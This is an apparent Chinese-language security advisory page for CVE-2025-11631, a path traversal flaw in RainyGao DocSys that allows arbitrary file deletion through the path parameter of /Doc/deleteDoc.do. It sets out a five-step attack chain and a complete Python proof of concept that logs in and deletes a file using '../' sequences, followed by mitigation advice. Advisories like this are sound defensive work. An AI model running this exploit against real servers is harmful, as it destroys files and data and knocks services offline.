IPBUF安全漏洞报告
English
CVE-2025-11631 CVSS 5.4 中危

CVE-2025-11631:RainyGao DocSys 任意文件删除路径遍历漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11631
漏洞类型
路径遍历(Path Traversal)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RainyGao DocSys

相关标签

路径遍历任意文件删除CVE-2025-11631RainyGaoDocSys文档管理系统中危漏洞PoC已公开

漏洞概述

CVE-2025-11631 是 RainyGao DocSys 文档管理系统中的一个路径遍历漏洞,影响版本至 2.02.36。该漏洞存在于 /Doc/deleteDoc.do 接口中,攻击者可以通过操控参数 path 实现任意文件删除。由于该系统是一款面向企业的在线文档管理平台,广泛用于文档的存储、共享与协作,任意文件删除漏洞可能导致系统关键文件、配置文件乃至用户数据被恶意删除,造成服务中断或数据丢失。

该漏洞可被远程利用,攻击者只需拥有低权限账户即可发起攻击,无需用户交互。漏洞已于 2025 年 10 月 12 日公开披露,PoC(概念验证代码)已在 GitHub 上公开,攻击者可轻易获取利用方式。值得注意的是,漏洞发现者在公开披露前已联系厂商,但厂商未作出任何回应,这进一步增加了该漏洞被恶意利用的风险。

根据 CVSS 3.1 评分体系,该漏洞评分为 5.4 分,属于中危级别。虽然机密性影响较低,但完整性和可用性均受到低程度影响。考虑到该漏洞利用门槛低且 PoC 已公开,运维人员应及时采取防护措施,避免系统遭受攻击。

技术细节

该漏洞的核心问题在于 DocSys 系统的 /Doc/deleteDoc.do 接口未对用户输入的 path 参数进行充分的安全校验和过滤。攻击者可以通过在 path 参数中注入路径遍历序列(如 ../),绕过系统的目录限制,访问并删除应用程序预期范围之外的文件。

具体利用方式如下:
1. 攻击者首先以低权限用户身份登录 DocSys 系统;
2. 构造恶意 HTTP 请求,访问 /Doc/deleteDoc.do 接口;
3. 在 path 参数中传入包含路径遍历字符的恶意路径,例如 path=../../../target_file;
4. 系统未对路径进行规范化处理,直接将恶意路径传递给底层文件操作 API;
5. 文件操作 API 按照遍历后的路径执行删除操作,成功删除目标文件。

由于该漏洞利用的是路径遍历这一经典 Web 安全缺陷,攻击者可以通过精心构造路径删除服务器上的任意文件,包括但不限于系统配置文件、日志文件、数据库文件等。一旦关键文件被删除,可能导致系统无法正常运行,甚至完全瘫痪。该漏洞的 PoC 代码已在 GitHub 公开(仓库 xkalami-Tta0/CVE),安全研究人员可参考其实现细节。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过社工、注册或凭证填充等方式获取 DocSys 系统的低权限用户账户。
STEP 2
步骤2:登录系统
使用获取的账户凭证登录 DocSys 系统,获取有效的会话 Cookie。
STEP 3
步骤3:构造恶意请求
向 /Doc/deleteDoc.do 接口发送 GET 请求,在 path 参数中注入路径遍历序列(如 ../../../),构造指向目标文件的恶意路径。
STEP 4
步骤4:触发文件删除
DocSys 后端未对 path 参数进行规范化校验,直接将遍历后的路径传递给文件删除接口,成功删除目标文件。
STEP 5
步骤5:造成系统破坏
攻击者通过反复删除关键配置文件、日志或数据库文件,导致系统服务不可用或数据丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11631 PoC - RainyGao DocSys Path Traversal (Arbitrary File Deletion) # Reference: https://github.com/xkalami-Tta0/CVE/blob/main/DocSys/ import requests # Target configuration TARGET_URL = "http://target-host:8088" LOGIN_URL = f"{TARGET_URL}/Doc/login.do" DELETE_URL = f"{TARGET_URL}/Doc/deleteDoc.do" # Attacker credentials (low-privilege account required) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Path traversal payload - target arbitrary file on the server # Using ../ sequences to escape the intended directory MALICIOUS_PATH = "../../../../../../../../etc/passwd" def exploit(): session = requests.Session() # Step 1: Login with low-privilege credentials login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(LOGIN_URL, data=login_data) print(f"[+] Login response status: {resp.status_code}") # Step 2: Craft delete request with path traversal payload delete_params = { "path": MALICIOUS_PATH } resp = session.get(DELETE_URL, params=delete_params) print(f"[+] Delete response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") if resp.status_code == 200: print("[!] Exploit may have succeeded - check target file") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

影响范围

RainyGao DocSys <= 2.02.36

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在反向代理(如 Nginx)或 WAF 层面添加规则,拦截包含 ../ 等路径遍历特征的请求;2)对 DocSys 应用目录进行权限收紧,确保 Web 应用进程仅拥有必要目录的读写权限,限制其对系统关键目录的访问;3)监控 DocSys 系统的文件操作日志,及时发现异常的删除操作;4)限制 DocSys 系统的网络访问,仅允许内网可信 IP 访问;5)对所有用户账户进行审计,禁用不必要的低权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表